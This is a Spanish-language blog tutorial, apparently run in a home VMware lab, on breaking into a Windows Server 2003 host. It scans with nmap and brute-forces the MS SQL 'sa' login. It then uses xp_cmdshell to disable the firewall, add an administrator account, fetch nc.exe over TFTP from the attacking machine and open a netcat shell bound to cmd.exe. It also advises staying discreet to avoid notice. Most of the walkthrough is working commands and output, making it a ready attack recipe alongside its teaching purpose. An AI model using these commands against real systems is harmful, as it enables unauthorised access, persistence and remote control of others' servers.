Home Security Hacking: Explotación manual de un SQL (con nmap)

Hacking: Explotación manual de un SQL (con nmap)

by José Luis Sánchez Borque

El objetivo es realizar un escaneo de nuestra red, para descubrir máquinas y servicios con posibles fallos de seguridad. En concreto veremos luego como ejecutar instrucciones remotas vía cmd_shell

Veamos en primer lugar la ip de nuestra máquina Kali:

root@kali:~# ifconfig

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.50.51 netmask 255.255.255.0 broadcast 192.168.50.255
inet6 fe80::20c:29ff:fe60:5df0 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:60:5d:f0 txqueuelen 1000 (Ethernet)
RX packets 109110 bytes 157908539 (150.5 MiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 20692 bytes 1408248 (1.3 MiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

A continuación lanzo un scan rápido para ver las diferentes máquinas que están UP dentro de nuestro laboratorio de trabajo.

root@kali:~# nmap -sn 192.168.50.0/24

Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-18 08:21 CEST

Nmap scan report for 192.168.50.1
Host is up (0.00017s latency).
MAC Address: 00:0C:29:5A:A6:C5 (VMware)

Nmap scan report for 192.168.50.52
Host is up (-0.100s latency).
MAC Address: 00:0C:29:1E:86:8D (VMware)

Nmap scan report for 192.168.50.53
Host is up (-0.087s latency).
MAC Address: 00:0C:29:34:7A:DB (VMware)

Nmap scan report for 192.168.50.254
Host is up (-0.088s latency).
MAC Address: 00:0C:29:8B:EC:8B (VMware)

Nmap scan report for 192.168.50.51
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 5.24 seconds

Ahora el objetivo es ver en cada una de esas máquinas posibles vulnerabilidades, para intentar explotarlas de forma manual. Para NO eternizar la práctica, lo haremos solo con la máquina 192.168.50.52, un Windows 2003.

root@kali:~# nmap -sS -sU -T4 -A -v 192.168.50.52

Nmap scan report for 192.168.50.52

Host is up (0.00046s latency).

Not shown: 1958 closed ports

PORT STATE SERVICE VERSION

21/tcp open ftp FileZilla ftpd 0.9.18 beta
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 1 ftp ftp 0 Aug 13 2012 incoming
|_-r--r--r-- 1 ftp ftp 187 Dec 03 2005 onefile.html
|_ftp-bounce: bounce working!
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla

25/tcp open smtp Microsoft ESMTP 6.0.3790.1830
| smtp-commands: megatron-in9jjc.codsp.local Hello [192.168.50.51], TURN, SIZE 2097152, ETRN, PIPELINING, DSN, ENHANCEDSTATUSCODES, 8bitmime, BINARYMIME, CHUNKING, VRFY, OK,
|_ This server supports the following commands: HELO EHLO STARTTLS RCPT DATA RSET MAIL QUIT HELP AUTH TURN ETRN BDAT VRFY

53/tcp open domain?
80/tcp open http Apache httpd 2.2.3 ((Win32) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8d mod_autoindex_color PHP/5.1.6)
|_http-favicon: Unknown favicon MD5: 1BF391B9638164FAD49BEC6DB7E7B9AA
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.3 (Win32) DAV/2 mod_ssl/2.2.3 OpenSSL/0.9.8d mod_autoindex_color PHP/5.1.6
| http-title: XAMPP para Windows Version 1.5.4a
|_Requested resource was http://192.168.50.52/xampp/
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2017-08-18 07:15:06Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
443/tcp open ssl/https?
|_ssl-date: 2017-08-18T07:17:14+00:00; -2s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_IDEA_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
|_ SSL2_RC4_128_EXPORT40_WITH_MD5
445/tcp open microsoft-ds Windows Server 2003 3790 Service Pack 1 microsoft-ds
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
1037/tcp open msrpc Microsoft Windows RPC
1038/tcp open msrpc Microsoft Windows RPC
1041/tcp open msrpc Microsoft Windows RPC
1050/tcp open msrpc Microsoft Windows RPC
1059/tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.2047.00; SP1
| ms-sql-ntlm-info:
|_ Product_Version: 5.2.3790
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2017-08-18T00:26:09
| Not valid after: 2047-08-18T00:26:09
| MD5: 894b e0d4 cde9 5c63 25ad e8d9 625d f887
|_SHA-1: 031d 619e 75db 8154 f803 d515 78cc c305 dece 1103
|_ssl-date: 2017-08-18T07:17:16+00:00; -2s from scanner time.

3268/tcp open ldap
3269/tcp open tcpwrapped
3306/tcp open mysql MySQL (unauthorized)
3389/tcp open ms-wbt-server Microsoft Terminal Service
53/udp open domain Microsoft DNS
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2017-08-18 07:15:05Z)
123/udp open ntp NTP v3
| ntp-info:
|_ receive time stamp: 2017-08-18T07:17:17

137/udp open netbios-ns Microsoft Windows netbios-ns (Domain controller: CODSP)
138/udp open|filtered netbios-dgm
161/udp open|filtered snmp
389/udp open ldap?
| fingerprint-strings:
| LDAPSearchReqUDP:
| currentTime1
| 20170818071500.0Z0
| subschemaSubentry1
| 9CN=Aggregate,CN=Schema,CN=Configuration,DC=codsp,DC=local0
| dsServiceName1
| CN=NTDS Settings,CN=MEGATRON-IN9JJC,CN=Servers,CN=Nombre-predeterminado-primer-sitio,CN=Sites,CN=Configuration,DC=codsp,DC=local0
| namingContexts1
| DC=codsp,DC=local
| "CN=Configuration,DC=codsp,DC=local
| ,CN=Schema,CN=Configuration,DC=codsp,DC=local
| #DC=DomainDnsZones,DC=codsp,DC=local
| #DC=ForestDnsZones,DC=codsp,DC=local0
| defaultNamingContext1
| DC=codsp,DC=local0
| schemaNamingContext1
| ,CN=Schema,CN=Configuration,DC=codsp,DC=local0
| configurationNamingContext1
| "CN=Configuration,DC=codsp,DC=local0
| rootDomainNamingContext1
| DC=codsp,DC=local0
| supportedControl1

445/udp open|filtered microsoft-ds
464/udp open|filtered kpasswd5
500/udp open|filtered isakmp
1029/udp open|filtered solid-mux
1036/udp open domain Microsoft DNS
1039/udp open|filtered sbl
1040/udp open|filtered netarx
1044/udp open|filtered dcutility
3456/udp open|filtered IISrpc-or-vat
4500/udp open|filtered nat-t-ike

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :

SF-Port389-UDP:V=7.60%I=7%D=8/18%Time=599693FB%P=x86_64-pc-linux-gnu%r(LDA

SF:PSearchReqUDP,921,"0\x84\0\0\t\x05\x02\x01\x07d\x84\0\0\x08\xfc\x04\x00

SF:0\x84\0\0\x08\xf40\x84\0\0\0&\x04\x0bcurrentTime1\x84\0\0\0\x13\x04\x11
SF:\x04\x161\.2\.840\.113556\.1\.4\.473\x04\x161\.2\.840\.113");

MAC Address: 00:0C:29:1E:86:8D (VMware)

Device type: general purpose

Running: Microsoft Windows 2003
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2
OS details: Microsoft Windows Server 2003 SP1 or SP2

Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: Incremental

Service Info: Hosts: megatron-in9jjc.codsp.local, MEGATRON-IN9JJC; OS: Windows; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_server_2003, cpe:/o:microsoft:windows_server

Host script results:

|_clock-skew: mean: -1s, deviation: 1s, median: -2s
| ms-sql-info:
| 192.168.50.52:1433:
| Version:
| name: Microsoft SQL Server 2005 SP1
| number: 9.00.2047.00
| Product: Microsoft SQL Server 2005
| Service pack level: SP1
| Post-SP patches applied: false
|_ TCP port: 1433
| nbstat: NetBIOS name: MEGATRON-IN9JJC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:1e:86:8d (VMware)
| Names:
| MEGATRON-IN9JJC<00> Flags: <unique><active>
| CODSP<00> Flags: <group><active>
| CODSP<1c> Flags: <group><active>
| MEGATRON-IN9JJC<20> Flags: <unique><active>
| CODSP<1b> Flags: <unique><active>
| CODSP<1e> Flags: <group><active>
| CODSP<1d> Flags: <unique><active>
|_ \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| smb-os-discovery:
| OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
| OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
| Computer name: megatron-in9jjc
| NetBIOS computer name: MEGATRON-IN9JJC\x00
| Domain name: codsp.local
| Forest name: codsp.local
| FQDN: megatron-in9jjc.codsp.local
|_ System time: 2017-08-18T02:17:19-05:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE

HOP RTT ADDRESS

1 0.46 ms 192.168.50.52

NSE: Script Post-scanning.

Initiating NSE at 09:21

Completed NSE at 09:21, 0.00s elapsed

Initiating NSE at 09:21

Completed NSE at 09:21, 0.00s elapsed

Read data files from: /usr/bin/../share/nmap

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 394.25 seconds

Raw packets sent: 2555 (99.901KB) | Rcvd: 2148 (104.291KB)

Nos fijamos para la práctica en el servicio tcp/1433 donde está un servidor SQL 2055. Por defecto en un servidor SQL 2005 el usuario y contraseña por defecto son:

SQL Server 20xx Web or Standard
User: sa
Password:   will be the same as your administrator or root user password at the time the VDS was provisioned.

En nuestro caso, y dado que no conocemos el password del administrador “teóricamente” utilizaremos el propio nmap para un ataque de fuerza bruta contra el servidor SQL. Podemos encontrar la explicación de dicho tipo de ataque en el siguiente enlace:

https://nmap.org/nsedoc/scripts/ms-sql-brute.html

Script Arguments

userdb

The filename of an alternate username database. Default: nselib/data/usernames.lst

passdb

The filename of an alternate password database. Default: nselib/data/passwords.lst

Podemos encontrar más listas para ataques de fuerza bruta en nuestra máquina Kali en la ruta: /usr/share/wordlists. Bastaría con hacer un locate wordlists y aparecen dicha información

También tenemos enlaces en internet con dicho propósito:

http://muyseguridad.net/2011/02/28/diccionarios-de-contrasenas-para-ataques-de-fuerza-bruta/

La sintaxis básica con nmap es la siguiente:

nmap -p 1433 –script ms-sql-brute –script-args userdb=customuser.txt,passdb=custompass.txt <host>

Pasemos a la acción:

root@kali:~# nmap -p 1433 --script ms-sql-brute 192.168.50.52

Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-19 09:00 CEST

Nmap scan report for 192.168.50.52

Host is up (0.00036s latency).

PORT STATE SERVICE

1433/tcp open ms-sql-s
| ms-sql-brute:
| [192.168.50.52:1433]
| Credentials found:
|_ sa:password => Login Success

MAC Address: 00:0C:29:1E:86:8D (VMware)
Nmap done: 1 IP address (1 host up) scanned in 61.85 seconds

Previamente hemos añadido el usuario ‘sa’ al fichero de usernames.lst, ya que por defecto no está. Hay que fijarse en todo.

root@kali:~#cat /usr/share/nmap/nselib/data/usernames.lst

sa
root
admin
administrator
webadmin
sysadmin
netadmin
guest
user
web
test

Una vez tenemos el usuario y el password necesitaremos un cliente sql con el que conectarnos desde la máquina kali o un Windows.

Para Windows https://www.heidisql.com/

Para Linux http://squirrel-sql.sourceforge.net/

Utilizaremos ahora HEIDI portable desde un servidor Windows 2012 R2

Una vez conectados, podemos realizar llamadas a la Shell de Windows desde el propio SQL con el comando xp_cmdshell

https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql

Vemos aquí diversos ejemplos de llamada a la Shell.

Muy importante saber bajo que cuenta estamos ejecutando dicho comando. Lo vemos con el comando:

EXEC master..xp_cmdshell 'whoami.exe';

La respuesta es ‘nt autority\servicio de red’

Vemos desde el propio servidor Windows 2003 que la información es correcta:

¿Qué permisos tiene dicha cuenta? Los encontramos en esta breve explicación:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms684272(v=vs.85).aspx

Veamos otros ejemplo del uso de xp_cmdshell

EXEC xp_cmdshell 'dir C:\';
EXEC xp_cmdshell 'mkdir C:\codsp';

Hay que tener presente que se debe activar dicha posibilidad:

EXEC sp_configure 'show advanced options', 1

GO

-- To update the currently configured value for advanced options.

RECONFIGURE
GO

-- To enable the feature.

EXEC sp_configure 'xp_cmdshell', 1
GO

-- To update the currently configured value for this feature.

RECONFIGURE
GO

MUY IMPORTANTE: con los permisos del servicio habrá muchas cosas que no podremos hacer, al no tener la cuenta de servicio de red los permisos adecuados:

EXEC xp_cmdshell 'netsh firewall set opmode disable';

EXEC xp_cmdshell 'net user intruso38 int2015INT /add';

EXEC xp_cmdshell 'net localgroup administradores intruso38 /add';

De todas formas, vamos a ampliar un poco la práctica, cambiando los permisos del servicio SQL para que se ejecute bajo una cuenta con permisos … más potentes, algo bastante habitual …

EXEC master..xp_cmdshell 'whoami.exe';

Nos da como resultado nt authority\system. Ahora si!!!!!!! .

Ejemplo 1: Crear un nuevo usuario y añadirlo al grupo adminstradores

OJO: crear usuarios, y meterlos en el grupo de administradores canta como una almeja, así que se recomienda ser más disimulados…

Ejemplo 2: Descargar nc.exe en el Windows 2003 desde un servidor tftp de nuestra máquina kali. Evidentemente si tenemos el password de administrador, hay otras máneras más sencillas, pero así vemos como utilizar otras opciones que en algún caso nos pueden ser útiles

EXEC xp_cmdshell 'tftp -i 192.168.50.51 GET nc.exe C:\nc.exe';

Para ello hemos tenido que configurar adecuadamente el servidor tftp en nuestra máquina Kali. Podemos encontrar los pasos en el siguiente enlace:

https://null-byte.wonderhowto.com/how-to/hack-like-pro-using-tftp-install-malicious-software-target-0157547/

Os pongo a continuación los ficheros y sus valores en mi caso:

root@kali:~# cat /etc/default/atftpd

USE_INETD=false

# OPTIONS below are used only with init script

OPTIONS="--daemon --port 69 --retry-timeout 5 --maxthread 100 --verbose=5 /srv/tftp"
root@kali:~# ls /srv/tftp/

nc.exe pepe.txt
root@kali:~# /etc/init.d/atftpd start

[ ok ] Starting atftpd (via systemctl): atftpd.service.

Podríamos invocar el comando netcat (nc.exe) para hacer realmente lo que queramos.

EXEC xp_cmdshell 'c:\nc.exe -lvp 4447 -e cmd.exe';
root@kali:~# nmap -sS -p 4447 192.168.50.52

Starting Nmap 7.60 ( https://nmap.org ) at 2017-08-20 17:49 CEST

Nmap scan report for 192.168.50.52

Host is up (0.00029s latency).

PORT STATE SERVICE
4447/tcp open n1-rmgmt

MAC Address: 00:0C:29:1E:86:8D (VMware)

Encontraremos en los siguientes enlaces, múltiples opciones y posibilidades con dicho comando.

https://www.computerhope.com/unix/nc.htm

https://eternallybored.org/misc/netcat/

http://www.tutorialspoint.com/unix_commands/nc.htm

 

Dejamos para un próximo Post la explotación vía METASPLOIT

You may also like

Leave a Comment